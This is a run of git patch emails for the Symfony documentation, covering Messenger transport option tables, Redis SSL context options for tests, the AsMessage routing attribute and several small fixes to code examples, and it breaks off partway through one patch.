Subject: [PATCH 5089/5766] [Messenger] Document SSL options for Redis

---
 messenger.rst | 30 ++++++++++++++++++++++++++++--
 1 file changed, 28 insertions(+), 2 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 57163f3b60f..c2ab35292be 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1690,10 +1690,36 @@ read_timeout             Float, value in seconds                ``0``
 timeout                  Connection timeout. Float, value in    ``0``
                          seconds default indicates unlimited
 sentinel_master          String, if null or empty Sentinel      null
-                         support is disabled
+redis_sentinel           support is disabled
+ssl                      Map of TLS options.                    null
 =======================  =====================================  =================================
 
-.. versionadded:: 6.1
+SSL options
+-----------
+
+The SSL options can be used change requirements for the TLS channel:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/test/messenger.yaml
+        framework:
+            messenger:
+                transports:
+                    redis:
+                        dsn: "rediss://localhost"
+                        options:
+                            ssl:
+                                allow_self_signed: true
+                                capture_peer_cert: true
+                                capture_peer_cert_chain: true
+                                disable_compression: true
+                                SNI_enabled: true
+                                verify_peer: true
+                                verify_peer_name: true
+
+.. versionadded:: 7.1
 
     The ``persistent_id``, ``retry_interval``, ``read_timeout``, ``timeout``, and
     ``sentinel_master`` options were introduced in Symfony 6.1.

From 75e5c99d09db2d9c7343908db5fc161d34802f36 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 14 Oct 2024 16:27:16 +0200
Subject: [PATCH 5090/5766] Minor tweak

---
 messenger.rst | 5 +----
 1 file changed, 1 insertion(+), 4 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index c2ab35292be..6399c2a64dd 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1694,10 +1694,7 @@ redis_sentinel           support is disabled
 ssl                      Map of TLS options.                    null
 =======================  =====================================  =================================
 
-SSL options
------------
-
-The SSL options can be used change requirements for the TLS channel:
+The ``ssl`` option can be used to change requirements for the TLS channel, e.g. in tests:
 
 .. configuration-block::
 

From 967930cbeea98e1c8effe8e9bf5cb5260a826963 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 14 Oct 2024 16:30:38 +0200
Subject: [PATCH 5091/5766] [Messenger] Minor doc fix

---
 messenger.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index 6399c2a64dd..4c1251cf656 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1716,7 +1716,7 @@ The ``ssl`` option can be used to change requirements for the TLS channel, e.g.
                                 verify_peer: true
                                 verify_peer_name: true
 
-.. versionadded:: 7.1
+.. versionadded:: 6.1
 
     The ``persistent_id``, ``retry_interval``, ``read_timeout``, ``timeout``, and
     ``sentinel_master`` options were introduced in Symfony 6.1.

From cede098aae36cc84e9e96186123d6714c02935e9 Mon Sep 17 00:00:00 2001
From: Javier Spagnoletti <phansys@gmail.com>
Date: Mon, 14 Oct 2024 13:00:15 -0300
Subject: [PATCH 5092/5766] [Testing] Fix `:ref:` link

---
 testing/end_to_end.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/testing/end_to_end.rst b/testing/end_to_end.rst
index cbc5b6880bd..e43f5fa2be2 100644
--- a/testing/end_to_end.rst
+++ b/testing/end_to_end.rst
@@ -808,7 +808,7 @@ URI that's not a ``.php`` file) aren't in your public directory, the built-in
 server will return a 404 error. This often happens when letting the :doc:`AssetMapper component </frontend/asset_mapper>`
 handle your application assets in the ``dev`` environment.
 
-One solution when using AssetMapper is to ref:`compile assets <asset-mapper-compile-assets>`
+One solution when using AssetMapper is to :ref:`compile assets <asset-mapper-compile-assets>`
 before running your tests. This will also speed up your tests, as Symfony won't
 need to handle the assets, allowing the PHP built-in server to serve them directly.
 

From f39f6576b458adf4ab04726066f921557a7041cb Mon Sep 17 00:00:00 2001
From: Javier Spagnoletti <phansys@gmail.com>
Date: Mon, 14 Oct 2024 12:50:34 -0300
Subject: [PATCH 5093/5766] [Messenger] Add reference to PHP docs for SSL
 context options

---
 messenger.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index 4c1251cf656..950f4ff1af3 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1694,7 +1694,7 @@ redis_sentinel           support is disabled
 ssl                      Map of TLS options.                    null
 =======================  =====================================  =================================
 
-The ``ssl`` option can be used to change requirements for the TLS channel, e.g. in tests:
+The ``ssl`` option can be used to provide SSL context options (`php.net/context.ssl`_) for the TLS channel, e.g. in tests:
 
 .. configuration-block::
 
@@ -3488,3 +3488,4 @@ Learn more
 .. _`AMQProxy`: https://github.com/cloudamqp/amqproxy
 .. _`high connection churn`: https://www.rabbitmq.com/connections.html#high-connection-churn
 .. _`article about CQRS`: https://martinfowler.com/bliki/CQRS.html
+.. _`php.net/context.ssl`: https://php.net/context.ssl

From 902d7500886526a147f564d8061a8140d3aa0c45 Mon Sep 17 00:00:00 2001
From: seb-jean <sebastien.jean76@gmail.com>
Date: Mon, 14 Oct 2024 20:39:46 +0200
Subject: [PATCH 5094/5766] Update controller.rst

---
 controller.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/controller.rst b/controller.rst
index 17cf30e40ef..4fd03948ae2 100644
--- a/controller.rst
+++ b/controller.rst
@@ -578,7 +578,7 @@ To do so, map the parameter as an array and configure the type of each element
 using the ``type`` option of the attribute::
 
     public function dashboard(
-        #[MapRequestPayload(type: UserDTO::class)] array $users
+        #[MapRequestPayload(type: UserDto::class)] array $users
     ): Response
     {
         // ...

From 2f00687e1723ebd8a24437d8f0d653378d1c52b6 Mon Sep 17 00:00:00 2001
From: Christophe Coevoet <stof@notk.org>
Date: Tue, 15 Oct 2024 11:52:08 +0200
Subject: [PATCH 5095/5766] Fix the XML configuration example for enums

There is no `type="enum"` in the XML file loader.
---
 configuration.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/configuration.rst b/configuration.rst
index abd7dba9d96..2a5303741c1 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -232,7 +232,7 @@ reusable configuration value. By convention, parameters are defined under the
                 <parameter key="app.another_constant" type="constant">App\Entity\BlogPost::MAX_ITEMS</parameter>
 
                 <!-- Enum case as parameter values -->
-                <parameter key="app.some_enum" type="enum">App\Enum\PostState::Published</parameter>
+                <parameter key="app.some_enum" type="constant">App\Enum\PostState::Published</parameter>
             </parameters>
 
             <!-- ... -->

From 93ca37815417a6c11b7d8807beec1d9bf111b557 Mon Sep 17 00:00:00 2001
From: Laurens Laman <laurens.laman@llaman.nl>
Date: Tue, 15 Oct 2024 14:56:21 +0200
Subject: [PATCH 5096/5766] Update progressindicator.rst

Corrected false statement about the finishedIndicator. Make documentation more clear
---
 .../console/helpers/progressindicator.rst     | 24 +++++++++++--------
 1 file changed, 14 insertions(+), 10 deletions(-)

diff --git a/components/console/helpers/progressindicator.rst b/components/console/helpers/progressindicator.rst
index fedc8439e64..1d4384958e9 100644
--- a/components/console/helpers/progressindicator.rst
+++ b/components/console/helpers/progressindicator.rst
@@ -44,18 +44,21 @@ level of verbosity of the ``OutputInterface`` instance:
      | Processing...
      / Processing...
      - Processing...
+     ✔ Finished
 
     # OutputInterface::VERBOSITY_VERBOSE (-v)
      \ Processing... (1 sec)
      | Processing... (1 sec)
      / Processing... (1 sec)
      - Processing... (1 sec)
+     ✔ Finished (1 sec)
 
     # OutputInterface::VERBOSITY_VERY_VERBOSE (-vv) and OutputInterface::VERBOSITY_DEBUG (-vvv)
      \ Processing... (1 sec, 6.0 MiB)
      | Processing... (1 sec, 6.0 MiB)
      / Processing... (1 sec, 6.0 MiB)
      - Processing... (1 sec, 6.0 MiB)
+     ✔ Finished (1 sec, 6.0 MiB)
 
 .. tip::
 
@@ -94,22 +97,23 @@ The progress indicator will now look like this:
      ⠛ Processing...
      ⠹ Processing...
      ⢸ Processing...
+     ✔ Finished
 
-Once the progress indicator is finished, it keeps the latest indicator value by
-default. You can replace it with your own::
+Once the progress indicator is finished, it uses the finishedIndicator value (which defaults to ✔). You can replace it with your own::
 
-    $progressIndicator->finish('Finished', '✅');
-
-Then the progress indicator will render like this:
-
-.. code-block:: text
+    $progressIndicator = new ProgressIndicator($output, 'verbose', 100, null, '🎉');
+    
+    try {
+        /* do something */
+        $progressIndicator->finish('Finished');
+    } catch (\Exception) {
+        $progressIndicator->finish('Failed', '🚨');
+    }
 
-     ⠏ Processing...
-     ⠛ Processing...
-     ✅ Finished
 
 .. versionadded:: 7.2
 
+    The ``finishedIndicator`` parameter for the constructor was introduced in Symfony 7.2.
     The ``finishedIndicator`` parameter for method ``finish()`` was introduced in Symfony 7.2.
 
 Customize Placeholders

From 7fff76bd4fa1367554b959598c505dee6f4489e5 Mon Sep 17 00:00:00 2001
From: Matthieu Lempereur <matt.lempereur@gmail.com>
Date: Tue, 15 Oct 2024 16:36:14 +0200
Subject: [PATCH 5097/5766] rename addHeader to setHeader in httpclient

---
 http_client.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/http_client.rst b/http_client.rst
index 91b91ebc4a5..bf64026b946 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -152,7 +152,7 @@ brings most of the available options with type-hinted getters and setters::
             ->setBaseUri('https://...')
             // replaces *all* headers at once, and deletes the headers you do not provide
             ->setHeaders(['header-name' => 'header-value'])
-            // set or replace a single header using addHeader()
+            // set or replace a single header using setHeader()
             ->setHeader('another-header-name', 'another-header-value')
             ->toArray()
     );

From 714113ceff60c34a186783f6d4163875d1105bc7 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 15 Oct 2024 16:46:08 +0200
Subject: [PATCH 5098/5766] Minor tweak

---
 messenger.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 950f4ff1af3..e3616b49748 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1694,7 +1694,7 @@ redis_sentinel           support is disabled
 ssl                      Map of TLS options.                    null
 =======================  =====================================  =================================
 
-The ``ssl`` option can be used to provide SSL context options (`php.net/context.ssl`_) for the TLS channel, e.g. in tests:
+The ``ssl`` option can be used to provide `SSL context options`_ for the TLS channel, e.g. in tests:
 
 .. configuration-block::
 
@@ -3488,4 +3488,4 @@ Learn more
 .. _`AMQProxy`: https://github.com/cloudamqp/amqproxy
 .. _`high connection churn`: https://www.rabbitmq.com/connections.html#high-connection-churn
 .. _`article about CQRS`: https://martinfowler.com/bliki/CQRS.html
-.. _`php.net/context.ssl`: https://php.net/context.ssl
+.. _`SSL context options`: https://php.net/context.ssl

From dfa089c204920421d41590e40c6d34109e59fbbf Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Anderson=20M=C3=BCller?= <anderson.a.muller@gmail.com>
Date: Tue, 15 Oct 2024 18:22:45 +0200
Subject: [PATCH 5099/5766] Fix parameter name in
 `registerAttributeForAutoconfiguration` example

---
 service_container/tags.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/service_container/tags.rst b/service_container/tags.rst
index 9917cc65204..18f22a9ffa8 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -250,7 +250,7 @@ call to support ``ReflectionMethod``::
                 // update the union type to support multiple types of reflection
                 // you can also use the "\Reflector" interface
                 \ReflectionClass|\ReflectionMethod $reflector): void {
-                    if ($reflection instanceof \ReflectionMethod) {
+                    if ($reflector instanceof \ReflectionMethod) {
                         // ...
                     }
                 }

From d926bbb4e7cb2cd75e0f2f444a3b41dc3a1938d5 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 16 Oct 2024 10:53:34 +0200
Subject: [PATCH 5100/5766] Reword

---
 messenger.rst | 102 +++++++++++++++++++++++++-------------------------
 1 file changed, 50 insertions(+), 52 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 03c429e214e..9cb6b4a6ff4 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -203,8 +203,23 @@ Routing Messages to a Transport
 Now that you have a transport configured, instead of handling a message immediately,
 you can configure them to be sent to a transport:
 
+.. _messenger-message-attribute:
+
 .. configuration-block::
 
+    .. code-block:: php-attributes
+
+        // src/Message/SmsNotification.php
+        namespace App\Message;
+
+        use Symfony\Component\Messenger\Attribute\AsMessage;
+
+        #[AsMessage('async')]
+        class SmsNotification
+        {
+            // ...
+        }
+
     .. code-block:: yaml
 
         # config/packages/messenger.yaml
@@ -251,15 +266,26 @@ you can configure them to be sent to a transport:
             ;
         };
 
+.. versionadded:: 7.2
+
+    The ``#[AsMessage]`` attribute was introduced in Symfony 7.2.
+
 Thanks to this, the ``App\Message\SmsNotification`` will be sent to the ``async``
 transport and its handler(s) will *not* be called immediately. Any messages not
 matched under ``routing`` will still be handled immediately, i.e. synchronously.
 
 .. note::
 
-    You may use a partial PHP namespace like ``'App\Message\*'`` to match all
-    the messages within the matching namespace. The only requirement is that the
-    ``'*'`` wildcard has to be placed at the end of the namespace.
+    If you configure routing with both YAML/XML/PHP configuration files and
+    PHP attributes, the configuration always takes precedence over the class
+    attribute. This behavior allows you to override routing on a per-environment basis.
+
+.. note::
+
+    When configuring the routing in separate YAML/XML/PHP files, you can use a partial
+    PHP namespace like ``'App\Message\*'`` to match all the messages within the
+    matching namespace. The only requirement is that the ``'*'`` wildcard has to
+    be placed at the end of the namespace.
 
     You may use ``'*'`` as the message class. This will act as a default routing
     rule for any message not matched under ``routing``. This is useful to ensure
@@ -275,6 +301,27 @@ to multiple transports:
 
 .. configuration-block::
 
+    .. code-block:: php-attributes
+
+        // src/Message/SmsNotification.php
+        namespace App\Message;
+
+        use Symfony\Component\Messenger\Attribute\AsMessage;
+
+        #[AsMessage(['async', 'audit'])]
+        class SmsNotification
+        {
+            // ...
+        }
+
+        // if you prefer, you can also apply multiple attributes to the message class
+        #[AsMessage('async')]
+        #[AsMessage('audit')]
+        class SmsNotification
+        {
+            // ...
+        }
+
     .. code-block:: yaml
 
         # config/packages/messenger.yaml
@@ -345,55 +392,6 @@ to multiple transports:
     name as its only argument. For more information about stamps, see
     `Envelopes & Stamps`_.
 
-.. _messenger-message-attribute:
-
-Configuring Routing Using Attributes
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-You can optionally use the `#[AsMessage]` attribute to configure message transport::
-
-    // src/Message/SmsNotification.php
-    namespace App\Message;
-
-    use Symfony\Component\Messenger\Attribute\AsMessage;
-
-    #[AsMessage(transport: 'async')]
-    class SmsNotification
-    {
-        public function __construct(
-            private string $content,
-        ) {
-        }
-
-        public function getContent(): string
-        {
-            return $this->content;
-        }
-    }
-
-.. note::
-
-    If you configure routing with both configuration and attributes, the
-    configuration will take precedence over the attributes and override
-    them. This allows to override routing on a per-environment basis
-    for example:
-
-    .. code-block:: yaml
-
-        # config/packages/messenger.yaml
-        when@dev:
-            framework:
-                messenger:
-                    routing:
-                        # override class attribute
-                        'App\Message\SmsNotification': sync
-
-.. tip::
-
-    The `$transport` parameter can be either a `string` or an `array`: configuring multiple
-    transports is possible. You may also repeat the attribute if you prefer instead of using
-    an array.
-
 Doctrine Entities in Messages
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From d0ed00f1411dbb9e392716ba16eb8cff67b6dff1 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 16 Oct 2024 11:10:06 +0200
Subject: [PATCH 5101/5766] [Messenger] Replace the tables by definition lists

---
 messenger.rst | 431 +++++++++++++++++++++++++++++---------------------
 1 file changed, 254 insertions(+), 177 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index e3616b49748..cc5e61d361c 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1406,65 +1406,115 @@ the exchange, queues binding keys and more. See the documentation on
 
 The transport has a number of options:
 
-============================================  =================================================  ===================================
-     Option                                   Description                                        Default
-============================================  =================================================  ===================================
-``auto_setup``                                Whether the exchanges and queues should be         ``true``
-                                              created automatically during send / get.
-``cacert``                                    Path to the CA cert file in PEM format.
-``cert``                                      Path to the client certificate in PEM format.
-``channel_max``                               Specifies highest channel number that the server
-                                              permits. 0 means standard extension limit
-``confirm_timeout``                           Timeout in seconds for confirmation; if none
-                                              specified, transport will not wait for message
-                                              confirmation. Note: 0 or greater seconds. May be
-                                              fractional.
-``connect_timeout``                           Connection timeout. Note: 0 or greater seconds.
-                                              May be fractional.
-``frame_max``                                 The largest frame size that the server proposes
-                                              for the connection, including frame header and
-                                              end-byte. 0 means standard extension limit
-                                              (depends on librabbimq default frame size limit)
-``heartbeat``                                 The delay, in seconds, of the connection
-                                              heartbeat that the server wants. 0 means the
-                                              server does not want a heartbeat. Note,
-                                              librabbitmq has limited heartbeat support, which
-                                              means heartbeats checked only during blocking
-                                              calls.
-``host``                                      Hostname of the AMQP service
-``key``                                       Path to the client key in PEM format.
-``login``                                     Username to use to connect the AMQP service
-``password``                                  Password to use to connect to the AMQP service
-``persistent``                                                                                   ``'false'``
-``port``                                      Port of the AMQP service
-``read_timeout``                              Timeout in for income activity. Note: 0 or
-                                              greater seconds. May be fractional.
+``auto_setup`` (default: ``true``)
+    Whether the exchanges and queues should be created automatically during
+    send / get.
+
+``cacert``
+    Path to the CA cert file in PEM format.
+
+``cert``
+    Path to the client certificate in PEM format.
+
+``channel_max``
+    Specifies highest channel number that the server permits. 0 means standard
+    extension limit
+
+``confirm_timeout``
+    Timeout in seconds for confirmation; if none specified, transport will not
+    wait for message confirmation. Note: 0 or greater seconds. May be
+    fractional.
+
+``connect_timeout``
+    Connection timeout. Note: 0 or greater seconds. May be fractional.
+
+``frame_max``
+    The largest frame size that the server proposes for the connection,
+    including frame header and end-byte. 0 means standard extension limit
+    (depends on librabbimq default frame size limit)
+
+``heartbeat``
+    The delay, in seconds, of the connection heartbeat that the server wants. 0
+    means the server does not want a heartbeat. Note, librabbitmq has limited
+    heartbeat support, which means heartbeats checked only during blocking
+    calls.
+
+``host``
+    Hostname of the AMQP service
+
+``key``
+    Path to the client key in PEM format.
+
+``login``
+    Username to use to connect the AMQP service
+
+``password``
+    Password to use to connect to the AMQP service
+
+``persistent`` (default: ``'false'``)
+    Whether the connection is persistent
+
+``port``
+    Port of the AMQP service
+
+``read_timeout``
+    Timeout in for income activity. Note: 0 or greater seconds. May be
+    fractional.
+
 ``retry``
+    (no description available)
+
 ``sasl_method``
-``connection_name``                           For custom connection names (requires at least
-                                              version 1.10 of the PHP AMQP extension)
-``verify``                                    Enable or disable peer verification. If peer
-                                              verification is enabled then the common name in
-                                              the server certificate must match the server
-                                              name. Peer verification is enabled by default.
-``vhost``                                     Virtual Host to use with the AMQP service
-``write_timeout``                             Timeout in for outcome activity. Note: 0 or
-                                              greater seconds. May be fractional.
-``delay[queue_name_pattern]``                 Pattern to use to create the queues                ``delay_%exchange_name%_%routing_key%_%delay%``
-``delay[exchange_name]``                      Name of the exchange to be used for the            ``delays``
-                                              delayed/retried messages
-``queues[name][arguments]``                   Extra arguments
-``queues[name][binding_arguments]``           Arguments to be used while binding the queue.
-``queues[name][binding_keys]``                The binding keys (if any) to bind to this queue
-``queues[name][flags]``                       Queue flags                                        ``AMQP_DURABLE``
-``exchange[arguments]``                       Extra arguments for the exchange (e.g.
-                                              ``alternate-exchange``)
-``exchange[default_publish_routing_key]``     Routing key to use when publishing, if none is
-                                              specified on the message
-``exchange[flags]``                           Exchange flags                                     ``AMQP_DURABLE``
-``exchange[name]``                            Name of the exchange
-``exchange[type]``                            Type of exchange                                   ``fanout``
-============================================  =================================================  ===================================
+
+
+``connection_name``
+    For custom connection names (requires at least version 1.10 of the PHP AMQP
+    extension)
+
+``verify``
+    Enable or disable peer verification. If peer verification is enabled then
+    the common name in the server certificate must match the server name. Peer
+    verification is enabled by default.
+
+``vhost``
+    Virtual Host to use with the AMQP service
+
+``write_timeout``
+    Timeout in for outcome activity. Note: 0 or greater seconds. May be
+    fractional.
+
+``delay[queue_name_pattern]`` (default: ``delay_%exchange_name%_%routing_key%_%delay%``)
+    Pattern to use to create the queues
+
+``delay[exchange_name]`` (default: ``delays``)
+    Name of the exchange to be used for the delayed/retried messages
+
+``queues[name][arguments]``
+    Extra arguments
+
+``queues[name][binding_arguments]``
+    Arguments to be used while binding the queue.
+
+``queues[name][binding_keys]``
+    The binding keys (if any) to bind to this queue
+
+``queues[name][flags]`` (default: ``AMQP_DURABLE``)
+    Queue flags
+
+``exchange[arguments]``
+    Extra arguments for the exchange (e.g. ``alternate-exchange``)
+
+``exchange[default_publish_routing_key]``
+    Routing key to use when publishing, if none is specified on the message
+
+``exchange[flags]`` (default: ``AMQP_DURABLE``)
+    Exchange flags
+
+``exchange[name]``
+    Name of the exchange
+
+``exchange[type]`` (default: ``fanout``)
+    Type of exchange
 
 .. versionadded:: 6.1
 
@@ -1541,28 +1591,26 @@ Or, to create the table yourself, set the ``auto_setup`` option to ``false`` and
 
 The transport has a number of options:
 
-==================  =====================================  ======================
-Option              Description                            Default
-==================  =====================================  ======================
-table_name          Name of the table                      messenger_messages
-queue_name          Name of the queue (a column in the     default
-                    table, to use one table for
-                    multiple transports)
-redeliver_timeout   Timeout before retrying a message      3600
-                    that's in the queue but in the
-                    "handling" state (if a worker stopped
-                    for some reason, this will occur,
-                    eventually you should retry the
-                    message) - in seconds.
-auto_setup          Whether the table should be created
-                    automatically during send / get.       true
-==================  =====================================  ======================
+``table_name`` (default: ``messenger_messages``)
+    Name of the table
 
-.. note::
+``queue_name`` (default: ``default``)
+    Name of the queue (a column in the table, to use one table for multiple
+    transports)
 
-    Set ``redeliver_timeout`` to a greater value than your slowest message
-    duration. Otherwise, some messages will start a second time while the
-    first one is still being handled.
+``redeliver_timeout`` (default: ``3600``)
+    Timeout before retrying a message that's in the queue but in the "handling"
+    state (if a worker stopped for some reason, this will occur, eventually you
+    should retry the message) - in seconds.
+
+    .. note::
+
+        Set ``redeliver_timeout`` to a greater value than your slowest message
+        duration. Otherwise, some messages will start a second time while the
+        first one is still being handled.
+
+``auto_setup``
+    Whether the table should be created automatically during send / get.
 
 When using PostgreSQL, you have access to the following options to leverage
 the `LISTEN/NOTIFY`_ feature. This allow for a more performant approach
@@ -1570,17 +1618,16 @@ than the default polling behavior of the Doctrine transport because
 PostgreSQL will directly notify the workers when a new message is inserted
 in the table.
 
-=======================  ==========================================  ======================
-Option                   Description                                 Default
-=======================  ==========================================  ======================
-use_notify               Whether to use LISTEN/NOTIFY.               true
-check_delayed_interval   The interval to check for delayed           60000
-                         messages, in milliseconds.
-                         Set to 0 to disable checks.
-get_notify_timeout       The length of time to wait for a            0
-                         response when calling
-                         ``PDO::pgsqlGetNotify``, in milliseconds.
-=======================  ==========================================  ======================
+``use_notify`` (default: ``true``)
+    Whether to use LISTEN/NOTIFY.
+
+``check_delayed_interval`` (default: ``60000``)
+    The interval to check for delayed messages, in milliseconds. Set to 0 to
+    disable checks.
+
+``get_notify_timeout`` (default: ``0``)
+    The length of time to wait for a response when calling
+    ``PDO::pgsqlGetNotify``, in milliseconds.
 
 Beanstalkd Transport
 ~~~~~~~~~~~~~~~~~~~~
@@ -1604,20 +1651,16 @@ The Beanstalkd transport DSN may looks like this:
 
 The transport has a number of options:
 
-==================  ===================================  ======================
-     Option         Description                          Default
-==================  ===================================  ======================
-tube_name           Name of the queue                    default
-timeout             Message reservation timeout          0 (will cause the
-                    - in seconds.                        server to immediately
-                                                         return either a
-                                                         response or a
-                                                         TransportException
-                                                         will be thrown)
-ttr                 The message time to run before it
-                    is put back in the ready queue
-                    - in seconds.                        90
-==================  ===================================  ======================
+``tube_name`` (default: ``default``)
+    Name of the queue
+
+``timeout`` (default: ``0``)
+    Message reservation timeout - in seconds. 0 will cause the server to
+    immediately return either a response or a TransportException will be thrown.
+
+``ttr`` (default: ``90``)
+    The message time to run before it is put back in the ready queue - in
+    seconds.
 
 .. _messenger-redis-transport:
 
@@ -1652,51 +1695,62 @@ The Redis transport DSN may looks like this:
 A number of options can be configured via the DSN or via the ``options`` key
 under the transport in ``messenger.yaml``:
 
-=======================  =====================================  =================================
-Option                   Description                            Default
-=======================  =====================================  =================================
-stream                   The Redis stream name                  messages
-group                    The Redis consumer group name          symfony
-consumer                 Consumer name used in Redis            consumer
-auto_setup               Create the Redis group automatically?  true
-auth                     The Redis password
-delete_after_ack         If ``true``, messages are deleted      true
-                         automatically after processing them
-delete_after_reject      If ``true``, messages are deleted      true
-                         automatically if they are rejected
-lazy                     Connect only when a connection is      false
-                         really needed
-serializer               How to serialize the final payload     ``Redis::SERIALIZER_PHP``
-                         in Redis (the
-                         ``Redis::OPT_SERIALIZER`` option)
-stream_max_entries       The maximum number of entries which    ``0`` (which means "no trimming")
-                         the stream will be trimmed to. Set
-                         it to a large enough number to
-                         avoid losing pending messages
-redeliver_timeout        Timeout before retrying a pending      ``3600``
-                         message which is owned by an
-                         abandoned consumer (if a worker died
-                         for some reason, this will occur,
-                         eventually you should retry the
-                         message) - in seconds.
-claim_interval           Interval on which pending/abandoned    ``60000`` (1 Minute)
-                         messages should be checked for to
-                         claim - in milliseconds
-persistent_id            String, if null connection is          null
-                         non-persistent.
-retry_interval           Int, value in milliseconds             ``0``
-read_timeout             Float, value in seconds                ``0``
-                         default indicates unlimited
-timeout                  Connection timeout. Float, value in    ``0``
-                         seconds default indicates unlimited
-sentinel_master          String, if null or empty Sentinel      null
-redis_sentinel           support is disabled
-ssl                      Map of TLS options.                    null
-=======================  =====================================  =================================
-
-The ``ssl`` option can be used to provide `SSL context options`_ for the TLS channel, e.g. in tests:
+``stream`` (default: ``messages``)
+    The Redis stream name
 
-.. configuration-block::
+``group`` (default: ``symfony``)
+    The Redis consumer group name
+
+``consumer`` (default: ``consumer``)
+    Consumer name used in Redis
+
+``auto_setup`` (default: ``true``)
+    Whether to create the Redis group automatically
+
+``auth``
+    The Redis password
+
+``delete_after_ack`` (default: ``true``)
+    If ``true``, messages are deleted automatically after processing them
+
+``delete_after_reject`` (default: ``true``)
+    If ``true``, messages are deleted automatically if they are rejected
+
+``lazy`` (default: ``false``)
+    Connect only when a connection is really needed
+
+``serializer`` (default: ``Redis::SERIALIZER_PHP``)
+    How to serialize the final payload in Redis (the ``Redis::OPT_SERIALIZER`` option)
+
+``stream_max_entries`` (default: ``0``)
+    The maximum number of entries which the stream will be trimmed to. Set it to
+    a large enough number to avoid losing pending messages
+
+``redeliver_timeout`` (default: ``3600``)
+    Timeout (in seconds) before retrying a pending message which is owned by an abandoned consumer
+    (if a worker died for some reason, this will occur, eventually you should retry the message).
+
+``claim_interval`` (default: ``60000``)
+    Interval on which pending/abandoned messages should be checked for to claim - in milliseconds
+
+``persistent_id`` (default: ``null``)
+    String, if null connection is non-persistent.
+
+``retry_interval`` (default: ``0``)
+    Int, value in milliseconds
+
+``read_timeout`` (default: ``0``)
+    Float, value in seconds default indicates unlimited
+
+``timeout`` (default: ``0``)
+    Connection timeout. Float, value in seconds default indicates unlimited
+
+``sentinel_master`` (default: ``null``)
+    String, if null or empty Sentinel support is disabled
+
+``ssl`` (default: ``null``)
+    Map of `SSL context options`_ for the TLS channel. This is useful for example
+    to change the requirements for the TLS channel in tests:
 
     .. code-block:: yaml
 
@@ -1863,27 +1917,44 @@ The SQS transport DSN may looks like this:
 
 The transport has a number of options:
 
-======================  ======================================  ===================================
-     Option             Description                             Default
-======================  ======================================  ===================================
-``access_key``          AWS access key                          must be urlencoded
-``account``             Identifier of the AWS account           The owner of the credentials
-``auto_setup``          Whether the queue should be created     ``true``
-                        automatically during send / get.
-``buffer_size``         Number of messages to prefetch          9
-``debug``               If ``true`` it logs all HTTP requests   ``false``
-                        and responses (it impacts performance)
-``endpoint``            Absolute URL to the SQS service         https://sqs.eu-west-1.amazonaws.com
-``poll_timeout``        Wait for new message duration in        0.1
-                        seconds
-``queue_name``          Name of the queue                       messages
-``region``              Name of the AWS region                  eu-west-1
-``secret_key``          AWS secret key                          must be urlencoded
-``session_token``       AWS session token
-``visibility_timeout``  Amount of seconds the message will      Queue's configuration
-                        not be visible (`Visibility Timeout`_)
-``wait_time``           `Long polling`_ duration in seconds     20
-======================  ======================================  ===================================
+``access_key``
+    AWS access key (must be urlencoded)
+
+``account`` (default: The owner of the credentials)
+    Identifier of the AWS account
+
+``auto_setup`` (default: ``true``)
+    Whether the queue should be created automatically during send / get.
+
+``buffer_size`` (default: ``9``)
+    Number of messages to prefetch
+
+``debug`` (default: ``false``)
+    If ``true`` it logs all HTTP requests and responses (it impacts performance)
+
+``endpoint`` (default: ``https://sqs.eu-west-1.amazonaws.com``)
+    Absolute URL to the SQS service
+
+``poll_timeout`` (default: ``0.1``)
+    Wait for new message duration in seconds
+
+``queue_name`` (default: ``messages``)
+    Name of the queue
+
+``region`` (default: ``eu-west-1``)
+    Name of the AWS region
+
+``secret_key``
+    AWS secret key (must be urlencoded)
+
+``session_token``
+    AWS session token
+
+``visibility_timeout`` (default: Queue's configuration)
+    Amount of seconds the message will not be visible (`Visibility Timeout`_)
+
+``wait_time`` (default: ``20``)
+    `Long polling`_ duration in seconds
 
 .. versionadded:: 6.1
 
@@ -2321,16 +2392,22 @@ with ``messenger.message_handler``.
 
 Possible options to configure with tags are:
 
-============================  ====================================================================================================
-Option                        Description
-============================  ====================================================================================================
-``bus``                       Name of the bus from which the handler can receive messages, by default all buses.
-``from_transport``            Name of the transport from which the handler can receive messages, by default all transports.
-``handles``                   Type of messages (FQCN) that can be processed by the handler, only needed if can't be guessed by
-                              type-hint.
-``method``                    Name of the method that will process the message.
